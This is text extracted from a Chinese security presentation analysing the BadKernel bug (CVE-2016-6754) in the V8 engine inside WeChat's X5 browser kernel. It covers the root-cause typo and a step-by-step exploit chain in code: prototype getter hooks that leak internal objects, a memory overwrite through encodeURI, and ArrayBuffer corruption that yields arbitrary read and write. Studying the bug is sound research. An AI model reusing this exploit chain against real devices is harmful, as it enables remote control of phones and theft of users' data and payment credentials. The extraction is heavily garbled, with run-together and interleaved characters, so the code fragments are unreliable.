BadKernel系統(tǒng)漏洞分析

1、BadKernel系統(tǒng)漏洞分析一個(gè)筆誤引發(fā)的漏洞背景介紹JavaScript原型BadKernel漏洞利用內(nèi)容簡介谷歌開源 JavaScript 引擎 Chromium 工程 2008年9月2日發(fā)布第一個(gè)版本 高性能瀏覽器 Chrome, 安卓Webview, Opera, Chromium, QQ 瀏覽器, UC 瀏覽器安卓應(yīng)用 Twitter, Facebook, Gmail, 微信, 支付寶, 手機(jī)QQ, 京東V8 JavaScript引擎安卓Webview漏洞共統(tǒng)計(jì)約22萬臺設(shè)備 Chrome 37:81%Chrome 53: 僅38臺91% 的設(shè)備存在漏洞74% 的設(shè)備存在4個(gè)漏洞w

2、ebkit 22%3013%3340%376%456%467%09%16%311%474%BadKernel CVE-2016-6754V8 3.20 - 4.2每 16 臺就有1臺受影響數(shù)億用戶受影響X5內(nèi)核：基于V8 1微信V8組件 TBS X5 V8 1攻擊方式 二維碼 惡意URL漏洞危害 用戶隱私泄露，如 用戶財(cái)產(chǎn)損失，如 遠(yuǎn)程控制手機(jī)，準(zhǔn)蠕通訊錄，短信，錄音，錄像等竊取支付密碼、錢包密碼等蟲式傳播微信受BadKernel影響背景介紹JavaScript原型BadKernel漏洞利用內(nèi)容簡介對象定義var obj = 值屬性obj.x = 3;obj.f = function(); o

3、bj.f();訪問器屬性obj. defineGetter (y, function() return 9 );obj.y = 9對象屬性DebugPrint: 0 x40015515: JSObjectmap = 0 x5f310f55 FAST_HOLEY_ELEMENTSprototype = 0 x5fc6bdf1#x: 3 (data field at offset 0)#f: 0 x2760dd35 (data constant)#y: 0 x276128cd (accessor constant)Smi:31 bit signed int 0HeapObject: 32 bit

4、direct pointer (4 byte aligned)|01基于類的面向?qū)ο舐暶骰怋ase聲明繼承類Derived創(chuàng)建對象p基于原型的面向?qū)ο髣?chuàng)建原型對象Base聲明構(gòu)造器函數(shù)創(chuàng)建對象dObject NumberObjectErrorNumber PrimitiveValue: 0JSON對象原型Mathfunction () FunctionArrayString函數(shù)也是對象Object Mathfunction () FunctionArrayStringNumberPrimitiveValue: 0JSONObjectErrorNumber函數(shù)原型可修改的原型Native Ja

5、vaScript/chromium/src/v8/src/js/從native javascript中可以直接調(diào)用C/C+函數(shù)/chromium/src/v8/src/runtime/%GetPrototype()%DebugPrint()%SystemBreak()%DisassembleFunction(function()%OptimizeFunctionOnNextCallRuntime函數(shù)背景介紹JavaScript原型BadKernel漏洞利用內(nèi)容簡介ObjectkMessages定義var kMessages = observe_invalid_accept:Third argu

6、ment to Object.observe must be an array of strings.,筆誤var format = Messagesobserve_accept_invalid;漏洞成因kMessagesobserve_invalid_acceptundefined 2013.5 引入2015.3 修復(fù) 作為一個(gè)普通bug2016.8 成功利用如何利用?ObjectObjectobserve_accept_invalidObject.observe(obj, callback , acceptList )add, update安裝勾子Ototype. defineGetter

7、 (observe_accept_invalid,function() kMessages = this ; );觸發(fā)Object.observe( , function() , 1 )var format = Messagesobserve_accept_invalid;泄漏kMessageskMessagesobserve_invalid_acceptobject_not_extensible:Cant add property , %0, , object is not extensible, return FormatString( format, args);Hook kMessag

8、eskMessagesstrict_read_only_property.push(%3); kMessagesobject_not_extensible.push(%3); Atotype. defineGetter ( 3 , function() args = this; )Hook kMessageskMessages 定義var kMessages = strict_read_only_property: Cannot assign to read only property , %0, of , %1, %3%3promisepromiseStatusstatuspromiseVa

9、luevaluepromiseOnResolveonResolvepromiseOnRejectonRejectPromiseSet(promise, status, value, onResolve, onReject)promise promiseStatus = status; promise promiseValue = value;promise promiseOnResolve = onResolve;promise promiseOnReject = onReject;/InternalArray/InternalArray泄漏 onResolve 以進(jìn)一步泄漏 Internal

10、Array泄漏私有符號泄漏promiseStatusAtotype. defineGetter ( 3 , function() args = this; ) Object.freeze(mise);promiseStatus = args0;Throw NewTypeError(“strict_read_only_property”)return FormatString(*“, %0, of , %1“, “%3”+, promiseStatus, promise );promiseStatusstatuspromise泄漏promiseStatuspromise泄漏promiseValu

11、eAtotype. defineGetter ( 3 , function() args = this; ) Object.freeze(this);promiseValue = args0;Throw NewTypeError(“object_not_extensible”)return FormatString(*“, %0, “, “%3”+, promiseValue );promiseValuevaluepromisepromiseStatusstatus泄漏promiseValuepromisepromiseStatusstatus泄漏InternalArrayAtotype. d

12、efineGetter ( 3 , function() args = this; ) Object.freeze(this);promiseOnResolve = args0;onResolve=propromiseOnResolve;InternalArray = Object.getPrototypeOf(onResolve);promiseOnResolveonResolveThrow NewTypeError(“object_not_extensible”)return FormatString(*“, %0, “, “%3”+, promiseOnResolve );promise

13、promiseStatusstatuspromiseValuevalue泄漏InternalArraypromisepromiseStatusstatuspromiseValuevalueencodeURI()var array = new InternalArray(uriLength);var result = %NewString(array.length, NEW_ONE_BYTE_STRING); for (var i = 0; i array.length; i+) %_OneByteSeqStringSetChar(i, arrayi, result); /call getter

14、InternalArray泄漏內(nèi)存get 0: function() this.length=1; return 0 x480 x48%NeLewaSkterdingHook InternalArrayOtotype. defineGetter .call(innerProto, 0, function() this.length=1; return 0 x48 I%ntNeernwaSlAtrrirnagyencodeURI()var array = new InternalArray(uriLength);var result = %NewString(array.length, NEW_

15、ONE_BYTE_STRING); for (var i = 0; i array.length; i+) %_OneByteSeqStringSetChar(i, arrayi, result); /call getterHook InternalArrayOtotype. defineGetter .call(innerProto, 0, function()for(var i=0; i overStr.length; i+)this i + oldLength = overStr.charCodeAt(i); 覆蓋內(nèi)存InternalArrayoverStrget 0: function

16、() for(); return 0 x480 x48overStrBL覆蓋JSArrayBufferM: pMapP: pPropertiesE: pElementsB: pBackingStore L: ByteLengthF: FlagJSArrayBuffer BMPEBLFMemoryJSArrayBuffer AElement012316MPEBLFMLShould leak M, P, E, address of JSArrayBuffer B泄漏JSArrayBufferJSArrayBufferElement0123MPEBLFML堆噴ArrayBufferBMagic用ArrayBuffer A 控制ArrayBuffer BvA.setUint32(3*4, address, true);vA.setUint32(4*4, length, true);任意地址讀vB.getUint32(0, true);任意地址寫vB.setUint32(0, writed_value, true);任意地址讀寫JSArrayBuffer AMPE